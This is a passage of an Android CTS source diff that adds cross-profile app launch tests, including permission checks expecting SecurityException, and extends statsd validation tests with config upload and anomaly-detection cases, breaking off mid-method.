+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against non-valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsNonTargetUserTest {
+    private static final String PARAM_TARGET_USER = "TARGET_USER";
+
+    private CrossProfileApps mCrossProfileApps;
+    private UserHandle mTargetUser;
+    private Context mContext;
+
+    @Before
+    public void setupCrossProfileApps() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+    }
+
+    @Before
+    public void readTargetUser() {
+        Context context = InstrumentationRegistry.getContext();
+        Bundle arguments = InstrumentationRegistry.getArguments();
+        UserManager userManager = context.getSystemService(UserManager.class);
+        final int userSn = Integer.parseInt(arguments.getString(PARAM_TARGET_USER));
+        mTargetUser = userManager.getUserForSerialNumber(userSn);
+    }
+
+    @Test
+    public void testTargetUserIsNotInGetTargetProfiles() {
+        List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+        assertThat(targetProfiles).doesNotContain(mTargetUser);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCannotStartActivity() {
+        mCrossProfileApps.startMainActivity(
+                MainActivity.getComponentName(mContext), mTargetUser, null, null);
+    }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
new file mode 100644
index 0000000..5c4e4c9
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsTargetUserTest {
+    private static final String PARAM_TARGET_USER = "TARGET_USER";
+    private static final String ID_USER_TEXTVIEW =
+            "com.android.cts.crossprofileappstest:id/user_textview";
+    private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+
+    private CrossProfileApps mCrossProfileApps;
+    private UserHandle mTargetUser;
+    private Context mContext;
+    private UiDevice mDevice;
+    private long mUserSerialNumber;
+
+    @Before
+    public void setupCrossProfileApps() {
+        mContext = InstrumentationRegistry.getContext();
+        mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+    }
+
+    @Before
+    public void wakeupDeviceAndPressHome() throws Exception {
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mDevice.wakeUp();
+        mDevice.pressMenu();
+        mDevice.pressHome();
+    }
+
+    @Before
+    public void readTargetUser() {
+        Context context = InstrumentationRegistry.getContext();
+        Bundle arguments = InstrumentationRegistry.getArguments();
+        UserManager userManager = context.getSystemService(UserManager.class);
+        mUserSerialNumber = Long.parseLong(arguments.getString(PARAM_TARGET_USER));
+        mTargetUser = userManager.getUserForSerialNumber(mUserSerialNumber);
+        assertNotNull(mTargetUser);
+    }
+
+    @After
+    public void pressHome() {
+        mDevice.pressHome();
+    }
+
+    @Test
+    public void testTargetUserIsIngetTargetUserProfiles() {
+        List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+        assertThat(targetProfiles).contains(mTargetUser);
+    }
+
+    /**
+     * Verify we succeed to start the activity in another profile by checking UI element.
+     */
+    @Test
+    public void testCanStartMainActivity() throws Exception {
+        mCrossProfileApps.startMainActivity(
+                MainActivity.getComponentName(mContext), mTargetUser, null, null);
+
+        // Look for the text view to verify that MainActivity is started.
+        UiObject2 textView = mDevice.wait(
+                Until.findObject(By.res(ID_USER_TEXTVIEW)),
+                TIMEOUT_WAIT_UI);
+        assertNotNull("Failed to start activity in target user", textView);
+        // Look for the text in textview, it should be the serial number of target user.
+        assertEquals("Activity is started in wrong user",
+                String.valueOf(mUserSerialNumber),
+                textView.getText());
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCannotStartNotExportedActivity() throws Exception {
+        mCrossProfileApps.startMainActivity(
+                NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCannotStartNonMainActivity() throws Exception {
+        mCrossProfileApps.startMainActivity(
+                NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+    }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
new file mode 100644
index 0000000..c137e80
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserManager;
+import android.util.Log;
+import android.widget.TextView;
+
+import java.lang.Override;
+
+/**
+ * An dummy activity that displays the serial number of the user that it is running into.
+ */
+public class MainActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.main);
+    }
+
+    @Override
+    public void onStart() {
+        super.onStart();
+        TextView textView = findViewById(R.id.user_textview);
+        textView.setText(Long.toString(getCurrentUserSerialNumber()));
+    }
+
+    public static ComponentName getComponentName(Context context) {
+        return new ComponentName(context, MainActivity.class);
+    }
+
+    private long getCurrentUserSerialNumber() {
+        UserManager userManager = getSystemService(UserManager.class);
+        return userManager.getSerialNumberForUser(Process.myUserHandle());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
new file mode 100644
index 0000000..0876694
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class NonExportedActivity extends Activity {
+
+    public static ComponentName getComponentName(Context context ){
+        return new ComponentName(context, NonExportedActivity.class);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
new file mode 100644
index 0000000..56ec466
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class NonMainActivity extends Activity {
+
+    public static ComponentName getComponentName(Context context) {
+        return new ComponentName(context, NonMainActivity.class);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
index 02ad00b..22401b3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
@@ -44,7 +44,7 @@
 
         mPackageManager = getContext().getPackageManager();
         mDpm = getContext().getSystemService(DevicePolicyManager.class);
-        mEnabledAppsBeforeTest = getPackageNameList();
+        mEnabledAppsBeforeTest = getSystemPackageNameList();
     }
 
     @Override
@@ -69,7 +69,7 @@
     }
 
     private void enableUninstalledApp() {
-        final List<String> currentEnabledApps = getPackageNameList();
+        final List<String> currentEnabledApps = getSystemPackageNameList();
 
         final List<String> disabledApps = new ArrayList<String>(mEnabledAppsBeforeTest);
         disabledApps.removeAll(currentEnabledApps);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
new file mode 100644
index 0000000..b1cf3ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -0,0 +1,99 @@
+package com.android.cts.devicepolicy;
+
+import java.util.Collections;
+import java.util.Map;
+
+/**
+ * In the test, managed profile and secondary user are created. We then verify
+ * {@link android.content.pm.crossprofile.CrossProfileApps} APIs in different directions, like
+ * primary user to managed profile.
+ */
+public class CrossProfileAppsHostSideTest extends BaseDevicePolicyTest {
+    private static final String TEST_PACKAGE = "com.android.cts.crossprofileappstest";
+    private static final String NON_TARGET_USER_TEST_CLASS = ".CrossProfileAppsNonTargetUserTest";
+    private static final String TARGET_USER_TEST_CLASS = ".CrossProfileAppsTargetUserTest";
+    private static final String PARAM_TARGET_USER = "TARGET_USER";
+    private static final String EXTRA_TEST_APK = "CtsCrossProfileAppsTests.apk";
+
+    private int mProfileId;
+    private int mSecondaryUserId;
+    private boolean mHasManagedUserFeature;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // We need managed users to be supported in order to create a profile of the user owner.
+        mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
+        installAppAsUser(EXTRA_TEST_APK, mPrimaryUserId);
+
+        if (mHasManagedUserFeature) {
+            createAndStartManagedProfile();
+            installAppAsUser(EXTRA_TEST_APK, mProfileId);
+        }
+        if (mSupportsMultiUser) {
+            mSecondaryUserId = createUser();
+            installAppAsUser(EXTRA_TEST_APK, mSecondaryUserId);
+        }
+    }
+
+    public void testPrimaryUserToPrimaryUser() throws Exception {
+        verifyCrossProfileAppsApi(mPrimaryUserId, mPrimaryUserId, NON_TARGET_USER_TEST_CLASS);
+    }
+
+    public void testPrimaryUserToManagedProfile() throws Exception {
+        if (!mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mPrimaryUserId, mProfileId, TARGET_USER_TEST_CLASS);
+    }
+
+    public void testManagedProfileToPrimaryUser() throws Exception {
+        if (!mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, TARGET_USER_TEST_CLASS);
+    }
+
+    public void testPrimaryUserToSecondaryUser() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mPrimaryUserId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+    }
+
+    public void testSecondaryUserToManagedProfile() throws Exception {
+        if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mSecondaryUserId, mProfileId, NON_TARGET_USER_TEST_CLASS);
+
+    }
+
+    public void testManagedProfileToSecondaryUser() throws Exception {
+        if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mProfileId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+    }
+
+    private void verifyCrossProfileAppsApi(int fromUserId, int targetUserId, String testClass)
+            throws Exception {
+        runDeviceTestsAsUser(
+                TEST_PACKAGE,
+                testClass,
+                null,
+                fromUserId,
+                createTargetUserParam(targetUserId));
+    }
+
+    private void createAndStartManagedProfile() throws Exception {
+        mProfileId = createManagedProfile(mPrimaryUserId);
+        switchUser(mPrimaryUserId);
+        startUser(mProfileId);
+    }
+
+    private Map<String, String> createTargetUserParam(int targetUserId) throws Exception {
+        return Collections.singletonMap(PARAM_TARGET_USER,
+                Integer.toString(getUserSerialNumber(targetUserId)));
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
new file mode 100644
index 0000000..cf02aef
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
@@ -0,0 +1,8 @@
+//package com.android.cts.devicepolicy.crossprofile;
+//
+//import com.android.cts.devicepolicy.BaseDevicePolicyTest;
+//
+//public class CrossProfileAppsManagedProfileTest extends BaseDevicePolicyTest {
+//
+//
+//}
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index 3566724..28000e0 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -39,9 +39,9 @@
         }
 
         assertTrue(dump.getPlugged() != BatteryManagerProto.PlugType.PLUG_TYPE_WIRELESS);
-        assertTrue(dump.getMaxChargingCurrent() > 0);
-        assertTrue(dump.getMaxChargingVoltage() > 0);
-        assertTrue(dump.getChargeCounter() > 0);
+        assertTrue(dump.getMaxChargingCurrent() >= 0);
+        assertTrue(dump.getMaxChargingVoltage() >= 0);
+        assertTrue(dump.getChargeCounter() >= 0);
         assertTrue(
                 dump.getStatus() != BatteryServiceDumpProto.BatteryStatus.BATTERY_STATUS_INVALID);
         assertTrue(
diff --git a/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
index c00c4c3..1745ea1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
@@ -19,81 +19,367 @@
 import com.android.tradefed.log.LogUtil;
 
 import com.google.common.base.Charsets;
+import com.google.common.io.Files;
 
+import java.io.File;
+import java.text.SimpleDateFormat;
+import java.util.Date;
 import java.util.Random;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
 
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.internal.os.StatsdConfigProto.Alert;
+import com.android.internal.os.StatsdConfigProto.Bucket;
+import com.android.internal.os.StatsdConfigProto.CountMetric;
+import com.android.internal.os.StatsdConfigProto.Condition;
+import com.android.internal.os.StatsdConfigProto.DurationMetric;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
+import com.android.internal.os.StatsdConfigProto.KeyMatcher;
+import com.android.internal.os.StatsdConfigProto.KeyValueMatcher;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleCondition;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.ScreenStateChanged;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+
 /**
  * Test for statsd
  *
  * Validates reporting of statsd logging based on different events
  */
 public class StatsdValidationTest extends ProtoDumpTestCase {
+
     private static final String TAG = "StatsdValidationTest";
 
+    private static final boolean TESTS_ENABLED = false;
+
     // TODO: Use a statsd-specific app (temporarily just borrowing the batterystats app)
-    private static final String DEVICE_SIDE_TEST_APK = "CtsBatteryStatsApp.apk";
+    private static final String DEVICE_SIDE_TEST_APK = "CtsStatsDApp.apk";
     private static final String DEVICE_SIDE_TEST_PACKAGE
-            = "com.android.server.cts.device.batterystats";
-    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT
-            = "com.android.server.cts.device.batterystats/.BatteryStatsBackgroundService";
+            = "com.android.server.cts.device.statsd";
+    private static final String DEVICE_SIDE_SIMPLE_ACTIVITY_COMPONENT
+            = "com.android.server.cts.device.statsd/.SimpleActivity";
     private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
-            = "com.android.server.cts.device.batterystats/.BatteryStatsForegroundActivity";
+            = "com.android.server.cts.device.statsd/.ForegroundActivity";
+    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT
+            = "com.android.server.cts.device.statsd/.BackgroundActivity";
 
     // These constants are those in PackageManager.
-    public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
-    public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
-    public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
-    public static final String FEATURE_WIFI = "android.hardware.wifi";
+    private static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+    private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
 
     // Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
-    public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
-    public static final String ACTION_GPS = "action.gps";
-    public static final String ACTION_JOB_SCHEDULE = "action.jobs";
-    public static final String ACTION_SYNC = "action.sync";
-    public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+    private static final String KEY_ACTION = "action";
+    private static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+    private static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
+    private static final String ACTION_GPS = "action.gps";
+    private static final String ACTION_JOB_SCHEDULE = "action.jobs";
+    private static final String ACTION_SYNC = "action.sync";
+    private static final String ACTION_WIFI_SCAN = "action.wifi_scan";
 
-    public static final String KEY_REQUEST_CODE = "request_code";
-    public static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+    private static final String KEY_REQUEST_CODE = "request_code";
+    private static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+
+    private static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+    private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+    private static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+    private static final String CONFIG_UID = "1000";
+    private static final String CONFIG_NAME = "cts_config";
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        // TODO: need to do these before running real test:
+        // 1. compile statsd and push to device
+        // 2. make sure StatsCompanionService is running
+        // 3. start statsd
+        // These should go away once we have statsd properly set up.
+
         // Uninstall to clear the history in case it's still on the device.
         getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        removeConfig("fake");
+        removeConfig(CONFIG_NAME);
     }
 
     @Override
     protected void tearDown() throws Exception {
         getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        removeConfig(CONFIG_NAME);
         super.tearDown();
     }
 
-    protected void testScreenOn() throws Exception {
+    public void testScreenOnAtom() throws Exception {
+        if (!TESTS_ENABLED) {return;}
+        StatsdConfig config = getDefaultConfig()
+                .addEventMetric(
+                        EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_ON"))
+                .build();
+        uploadConfig(config);
+
+        turnScreenOff();
+        Thread.sleep(2000);
+        turnScreenOn();
+        Thread.sleep(2000);
+
+        ConfigMetricsReportList reportList = getReportList();
+
+        assertTrue(reportList.getReportsCount() == 1);
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertTrue(report.getMetricsCount() == 1);
+        assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() == 1);
+        assertTrue(report.getMetrics(0).getEventMetrics().getData(
+                0).getAtom().getScreenStateChanged()
+                .getDisplayState().getNumber() ==
+                ScreenStateChanged.State.STATE_ON_VALUE);
+    }
+
+    public void testScreenOffAtom() throws Exception {
+        if (!TESTS_ENABLED) {return;}
+        StatsdConfig config = getDefaultConfig()
+                .addEventMetric(
+                        EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_OFF"))
+                .build();
+        uploadConfig(config);
+
+        turnScreenOn();
+        Thread.sleep(2000);
+        turnScreenOff();
+        Thread.sleep(2000);
+
+        ConfigMetricsReportList reportList = getReportList();
+
+        assertTrue(reportList.getReportsCount() == 1);
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertTrue(report.getMetricsCount() == 1);
+        // one of them can be DOZE
+        assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() >= 1);
+        assertTrue(report.getMetrics(0).getEventMetrics().getData(
+                0).getAtom().getScreenStateChanged()
+                .getDisplayState().getNumber() == ScreenStateChanged.State.STATE_OFF_VALUE ||
+                report.getMetrics(0).getEventMetrics().getData(0).getAtom().getScreenStateChanged()
+                        .getDisplayState().getNumber()
+                        == ScreenStateChanged.State.STATE_DOZE_VALUE);
+    }
+
+    // Tests that anomaly detection for count works.
+    // Also tests that anomaly detection works when spanning multiple buckets.
+    public void testCountAnomalyDetection() throws Exception {
+        if (!TESTS_ENABLED) return;
+        // TODO: Don't use screen-state as the atom.
+        StatsdConfig config = getDefaultConfig()
+                .addCountMetric(CountMetric.newBuilder()
+                    .setName("METRIC")
+                    .setWhat("SCREEN_TURNED_ON")
+                    .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+                )
+                .addAlert(Alert.newBuilder()
+                    .setName("testCountAnomalyDetectionAlert")
+                    .setMetricName("METRIC")
+                    .setNumberOfBuckets(4)
+                    .setRefractoryPeriodSecs(20)
+                    .setTriggerIfSumGt(2)
+                    .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+                        .addSection(-1)
+                    )
+                )
+                .build();
+        uploadConfig(config);
+
+        String markDeviceDate = getCurrentLogcatDate();
+        turnScreenOn(); // count -> 1 (not an anomaly, since not "greater than 2")
+        Thread.sleep(1000);
+        turnScreenOff();
+        Thread.sleep(3000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOn(); // count ->2 (not an anomaly, since not "greater than 2")
+        Thread.sleep(1000);
+        turnScreenOff();
+        Thread.sleep(1000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOn(); // count ->3 (anomaly, since "greater than 2"!)
+        Thread.sleep(1000);
+        assertTrue(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOff();
+    }
+
+    // Tests that anomaly detection for duration works.
+    // Also tests that refractory periods in anomaly detection work.
+    public void testDurationAnomalyDetection() throws Exception {
+        if (!TESTS_ENABLED) return;
+        // TODO: Do NOT use screenState for this, since screens auto-turn-off after a variable time.
+        StatsdConfig config = getDefaultConfig()
+                .addDurationMetric(DurationMetric.newBuilder()
+                        .setName("METRIC")
+                        .setWhat("SCREEN_IS_ON")
+                        .setAggregationType(DurationMetric.AggregationType.SUM)
+                        .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+                )
+                .addCondition(Condition.newBuilder()
+                        .setName("SCREEN_IS_ON")
+                        .setSimpleCondition(SimpleCondition.newBuilder()
+                                .setStart("SCREEN_TURNED_ON")
+                                .setStop("SCREEN_TURNED_OFF")
+                                .setCountNesting(false)
+                        )
+                )
+                .addAlert(Alert.newBuilder()
+                        .setName("testDurationAnomalyDetectionAlert")
+                        .setMetricName("METRIC")
+                        .setNumberOfBuckets(12)
+                        .setRefractoryPeriodSecs(20)
+                        .setTriggerIfSumGt(15_000_000_000L) // 15 seconds in nanoseconds
+                        .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+                                .addSection(-1)
+                        )
+                )
+                .build();
+        uploadConfig(config);
+
+        // Test that alarm doesn't fire early.
+        String markDeviceDate = getCurrentLogcatDate();
+        turnScreenOn();
+        Thread.sleep(6_000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        turnScreenOff();
+        Thread.sleep(1_000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        // Test that alarm does fire when it is supposed to.
+        turnScreenOn();
+        Thread.sleep(13_000);
+        assertTrue(didIncidentdFireSince(markDeviceDate));
+
+        // Now test that the refractory period is obeyed.
+        markDeviceDate = getCurrentLogcatDate();
+        turnScreenOff();
+        Thread.sleep(1_000);
+        turnScreenOn();
+        Thread.sleep(1_000);
+        assertFalse(didIncidentdFireSince(markDeviceDate));
+
+        // Test that detection works again after refractory period finishes.
+        turnScreenOff();
+        Thread.sleep(20_000);
+        turnScreenOn();
+        Thread.sleep(15_000);
+        assertTrue(didIncidentdFireSince(markDeviceDate));
+    }
+
+    /**
+     * Determines whether logcat indicates that incidentd fired since the given device date.
+     */
+    private boolean didIncidentdFireSince(String date) throws Exception {
+        final String INCIDENTD_TAG = "incidentd";
+        final String INCIDENTD_STARTED_STRING = "reportIncident";
+        // TODO: Do something more robust than this in case of delayed logging.
+        Thread.sleep(1000);
+        String log = getLogcatSince(date, String.format(
+                "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
+        return log.contains(INCIDENTD_STARTED_STRING);
+    }
+
+    private void uploadConfig(StatsdConfig config) throws Exception {
+        LogUtil.CLog.d("uploading the config:\n" + config.toString());
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/" + configFile.getName();
+        getDevice().pushFile(configFile, remotePath);
+        getDevice().executeShellCommand(
+                String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD, CONFIG_UID,
+                        CONFIG_NAME));
+        getDevice().executeShellCommand("rm " + remotePath);
+    }
+
+    /**
+     * Get default config builder for atoms CTS testing.
+     * All matchers are included. One just need to add event metric for pushed events or
+     * gauge metric for pulled metric.
+     */
+    private StatsdConfig.Builder getDefaultConfig() {
+        StatsdConfig.Builder configBuilder = StatsdConfig.newBuilder();
+        configBuilder.setName("12345");
